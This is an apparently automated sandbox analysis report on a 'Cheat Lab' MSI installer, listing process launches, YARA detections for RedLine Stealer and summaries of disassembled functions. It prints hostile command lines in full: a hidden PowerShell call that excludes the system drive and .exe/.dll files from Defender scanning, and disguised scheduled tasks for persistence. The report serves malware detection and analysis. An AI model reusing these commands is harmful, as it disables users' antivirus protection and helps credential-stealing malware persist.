Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:34:57
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding F46D88023010FA67F9BE0B7659EC2472 C
Imagebase:	0xdc0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:35:02
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding CF599F91F9CA52D79045F3DD2E6AB85B
Imagebase:	0xdc0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:35:02
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 2387AF9F5B3315EE543DBCEF741FA41F E Global\MSI0000
Imagebase:	0xdc0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:35:03
Start date:	06/11/2023
Path:	C:\Windows\Installer\MSIC01A.tmp
Wow64 process (32bit):	true
Commandline:	C:\Windows\Installer\MSIC01A.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow "C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat
Imagebase:	0xf30000
File size:	399'328 bytes
MD5 hash:	B9545ED17695A32FACE8C3408A6A3553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:35:03
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\cmd.exe" /C ""C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:35:03
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:35:03
Start date:	06/11/2023
Path:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Imagebase:	0x7ff738a30000
File size:	1'159'168 bytes
MD5 hash:	9CB9E0D0975E51A90BDED2B3BE8FACA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:35:03
Start date:	06/11/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force"
Imagebase:	0x770000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:35:09
Start date:	06/11/2023
Path:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Imagebase:	0x7ff738a30000
File size:	1'159'168 bytes
MD5 hash:	9CB9E0D0975E51A90BDED2B3BE8FACA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:35:10
Start date:	06/11/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /sc daily /st 11:45 /f /tn NotepadUpdateTask_NzEz /tr ""C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe" "C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua""
Imagebase:	0x7ff7dfdb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:35:10
Start date:	06/11/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /sc daily /st 11:45 /f /tn "LuaJIT" /tr ""C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua""
Imagebase:	0x7ff7dfdb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:35:10
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:35:10
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:35:12
Start date:	06/11/2023
Path:	C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua
Imagebase:	0x7ff6fdfd0000
File size:	1'159'168 bytes
MD5 hash:	9CB9E0D0975E51A90BDED2B3BE8FACA9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:35:22
Start date:	06/11/2023
Path:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Imagebase:	0x7ff738a30000
File size:	1'159'168 bytes
MD5 hash:	9CB9E0D0975E51A90BDED2B3BE8FACA9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:35:30
Start date:	06/11/2023
Path:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua
Imagebase:	0x7ff738a30000
File size:	1'159'168 bytes
MD5 hash:	9CB9E0D0975E51A90BDED2B3BE8FACA9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:35:51
Start date:	06/11/2023
Path:	C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe
Imagebase:	0x400000
File size:	1'074'015'689 bytes
MD5 hash:	ADF3C225DDD9EEB90009F892A9A83D1B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.2131526170.000000000040D000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.2131675948.0000000000462000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.2133528800.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:35:52
Start date:	06/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.2%
Total number of Nodes:	320
Total number of Limit Nodes:	7

Executed Functions

Function 00F352F0 Relevance: 54.7, APIs: 15, Strings: 16, Instructions: 402
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000,?,?,?,?,?), ref: 00F3549C
GetForegroundWindow.USER32(00000000,?,?,?,?,?), ref: 00F3551D
ShellExecuteExW.SHELL32(?), ref: 00F35601
ShellExecuteExW.SHELL32(?), ref: 00F35637
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 00F3567C
GetProcAddress.KERNEL32(00000000), ref: 00F35685
GetProcessId.KERNELBASE(?,?,?,?,?,?,?), ref: 00F35688
AllowSetForegroundWindow.USER32(00000000), ref: 00F3568B
GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId,?,?,?,?,?,?), ref: 00F356AB
GetProcAddress.KERNEL32(00000000), ref: 00F356AE
Sleep.KERNEL32(00000064,?,?,?,?,?,?), ref: 00F356CA
EnumWindows.USER32(00F35830,?), ref: 00F356DF
BringWindowToTop.USER32(00000000), ref: 00F356F4
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?), ref: 00F35711
GetExitCodeProcess.KERNELBASE(?,?), ref: 00F3571B

Strings

Verb:<, xrefs: 00F3559E
Hidden, xrefs: 00F355D6
FilePath:<, xrefs: 00F35589
Visible, xrefs: 00F355DB, 00F355EA
%s\System32\cmd.exe, xrefs: 00F354A9
Window Visibility:, xrefs: 00F355E3
Directory:<, xrefs: 00F355B2
ShellExecuteInfo members:, xrefs: 00F35540
Kernel32.dll, xrefs: 00F35677, 00F356A6
open, xrefs: 00F354D5
.bat, xrefs: 00F35422
/C ""%s" %s", xrefs: 00F354C1
runas, xrefs: 00F354EC
Parameters:<, xrefs: 00F355C6
.cmd, xrefs: 00F3545F
GetProcessId, xrefs: 00F35672, 00F356A1

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Window$AddressExecuteForegroundHandleModuleProcProcessShellWindows$AllowBringCodeDirectoryEnumExitObjectSingleSleepWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$Directory:<$FilePath:<$GetProcessId$Hidden$Kernel32.dll$Parameters:<$ShellExecuteInfo members:$Verb:<$Visible$Window Visibility:$open$runas
API String ID: 185584925-2796270252
Opcode ID: 7de50ba8618686ecb7478f0722374a412918afdaeb6f5d1a17de9784da484436
Instruction ID: 134e8194bf6eb0830a57a0c6096559fc7859f377738eb5afaaac82be27b5d48d
Opcode Fuzzy Hash: 7de50ba8618686ecb7478f0722374a412918afdaeb6f5d1a17de9784da484436
Instruction Fuzzy Hash: 1DE1D171E00A099BCF14EFA8CC85BAEB7B5AF84B30F544129E815EB291E7349D41EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F36A50 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F36AC8
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 00F36AD5
CloseHandle.KERNEL32(00000000), ref: 00F36AF5

Strings

S-1-5-18, xrefs: 00F36B69

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpenToken
String ID: S-1-5-18
API String ID: 4052875653-4289277601
Opcode ID: 85e7d0ca11b6dba37a99de6fc829f93296bc20a9477d0b4aadeb35ab76b33fba
Instruction ID: 6b5a88930235a78f9822cf3937a1adfa5b6790a48c98dca47f0d90926c76d5fc
Opcode Fuzzy Hash: 85e7d0ca11b6dba37a99de6fc829f93296bc20a9477d0b4aadeb35ab76b33fba
Instruction Fuzzy Hash: 7D02AE71D00249EFDF14DFA4C9557AEBBB5EF45324F148258E802EB285EB34AE05EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F357C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,72A902E8,?,-00000010), ref: 00F357D0
OpenProcessToken.ADVAPI32(00000000), ref: 00F357D7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00F3580C
CloseHandle.KERNEL32(?), ref: 00F35822

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 4c4822466db6804b2690ddf5c0807123b41f09ac30400ebf6adc3fac2c60234b
Instruction ID: fd7409310ae79afb9092f6282b4e850dd5f0d2d674101d9897baf096793ae507
Opcode Fuzzy Hash: 4c4822466db6804b2690ddf5c0807123b41f09ac30400ebf6adc3fac2c60234b
Instruction Fuzzy Hash: 84F03674148305AFEB10AF10EC45B9A7BE8FB84710F508819FD84C2160D379955CEB63

Uniqueness

Uniqueness Score: -1.00%

Function 00F3CDB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(72A902E8,?,?,?,?,?,?,?,?,?,00F756D5,000000FF), ref: 00F3CDE8

Part of subcall function 00F31F80: LocalAlloc.KERNELBASE(00000040,00000000,?,?,vector too long,00F34251,72A902E8,00000000,?,00000000,?,?,?,00F74400,000000FF,?), ref: 00F31F9D

ExitProcess.KERNEL32 ref: 00F3CEB1

Part of subcall function 00F36600: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 00F3667E

Strings

Full command line:, xrefs: 00F3CE13

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: eb3a34306c41a0d223dd9afaecf3275fa81e7de020b757bae19da0a2f9e6a115
Instruction ID: e170ca4f6d8f45fac2b2e743ab8910a728771c85f2f8b9a49b7ce29727fe5c84
Opcode Fuzzy Hash: eb3a34306c41a0d223dd9afaecf3275fa81e7de020b757bae19da0a2f9e6a115
Instruction Fuzzy Hash: 3921F471910214ABCB15FB70CC46BEE73A5AF44760F148128F406AB292EF789B08E7D2

Uniqueness

Uniqueness Score: -1.00%

Function 00F35E40 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00F35E18,72A902E8,?), ref: 00F35EB4
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00F35E18,72A902E8,?), ref: 00F35EBE
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00F35E18,72A902E8,?), ref: 00F35F1A

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 6811a739fe64946044c4788779b52c92a7ecbfc84ef17cfffb6d7066ff9c7523
Instruction ID: 4de75c67e866f319901468170eafc380815f02ee9dce1c04e70a6bf7605b1afd
Opcode Fuzzy Hash: 6811a739fe64946044c4788779b52c92a7ecbfc84ef17cfffb6d7066ff9c7523
Instruction Fuzzy Hash: ED318F71A00609AFD714CF68CC45BAFBBF9FB84B24F10452EE515E7280D7B5A9449BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F670BB Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00F6596A,00000001,00000364,?,00000006,000000FF,?,00F56CE7,00000000,00F63841,00000000), ref: 00F670FC

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 545ad4447d07da4bbc85ac954dc0bf3ada9b4863616a04636f8eff15923ba1dc
Instruction ID: c95b09cc418eefffbe29a1368ea066740d00912f6cdb2b95088c0168ad78b5d3
Opcode Fuzzy Hash: 545ad4447d07da4bbc85ac954dc0bf3ada9b4863616a04636f8eff15923ba1dc
Instruction Fuzzy Hash: 25F0BE32A0C3247B9B227A229C01B6A775DAF527B5B144126BD18AB190CF24EC00B6F2

Uniqueness

Uniqueness Score: -1.00%

Function 00F35940 Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?,72A902E8,00000000,?,?,?), ref: 00F35982

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e32b5ddd59b692dfef174d9b036d7b8b0bdaceec044f3fdce827a036d28fc825
Instruction ID: eda024a1f3d909476a16ef977dcf9ccfa1107f0a35c5141cfb0d6b1c4455d5f5
Opcode Fuzzy Hash: e32b5ddd59b692dfef174d9b036d7b8b0bdaceec044f3fdce827a036d28fc825
Instruction Fuzzy Hash: E7F0CD71A08A48EFC710DF59DD40B5AFBF8FB05B30F1042AAE814C7690D336A8008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F31F80 Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,00000000,?,?,vector too long,00F34251,72A902E8,00000000,?,00000000,?,?,?,00F74400,000000FF,?), ref: 00F31F9D

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 052d91078c79c7297c914c4a545ef16f35ca68c2551b233a55403806abc93fbc
Instruction ID: f94e0ad2eddd51a84d075c07606353830cc3fe56224629de8d51452128de21fe
Opcode Fuzzy Hash: 052d91078c79c7297c914c4a545ef16f35ca68c2551b233a55403806abc93fbc
Instruction Fuzzy Hash: B3D012B22052125BD7444A2C9807A56A698AB94750F15852EB509D7294DA709C514750

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F34BA0 Relevance: 33.5, APIs: 22, Instructions: 502comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F357C0: GetCurrentProcess.KERNEL32(00000008,?,72A902E8,?,-00000010), ref: 00F357D0
Part of subcall function 00F357C0: OpenProcessToken.ADVAPI32(00000000), ref: 00F357D7

CoInitialize.OLE32(00000000), ref: 00F34C15
CoCreateInstance.OLE32(00F772B0,00000000,00000004,00F85104,00000000,?), ref: 00F34C45
CoUninitialize.OLE32 ref: 00F35187
_com_issue_error.COMSUPP ref: 00F351B5

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Process$CreateCurrentInitializeInstanceOpenTokenUninitialize_com_issue_error
String ID:
API String ID: 928366108-0
Opcode ID: 6c6ba7c4846539def59969e86c8a226655708e3584824a14e5dbefd2bacb0d35
Instruction ID: 56d6bac08680c37ad43b3588f0fb0cafa7641bb154c3e17097569288c3357e9f
Opcode Fuzzy Hash: 6c6ba7c4846539def59969e86c8a226655708e3584824a14e5dbefd2bacb0d35
Instruction Fuzzy Hash: 5F22D170E04388DFEF11DFA8C848BADBBB4AF45314F24819DE809EB281D775AA45DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F3C870 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 366registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00F3CBB6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00F8E6D0,00000800), ref: 00F3CBD3

Strings

/EnforcedRunAsAdmin , xrefs: 00F3C893, 00F3C8A3, 00F3C8A8
/LogFile, xrefs: 00F3CA07
/HideWindow, xrefs: 00F3C98E, 00F3C9AC, 00F3C9B1
/DontWait , xrefs: 00F3C8D8, 00F3C8EE, 00F3C8F3
/DIR , xrefs: 00F3C9F3
/RunAsAdmin , xrefs: 00F3C92B, 00F3C94C, 00F3C951

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DIR $/DontWait $/EnforcedRunAsAdmin $/HideWindow$/LogFile$/RunAsAdmin
API String ID: 4153817207-482544602
Opcode ID: 39eed04246a3cb37b71f2165152178850e95e150aef96ffcc206ac3b78d76073
Instruction ID: e1c540c1a30fabfc5b6f1196756868984459c9bcc5628eefa1520380a2aeef82
Opcode Fuzzy Hash: 39eed04246a3cb37b71f2165152178850e95e150aef96ffcc206ac3b78d76073
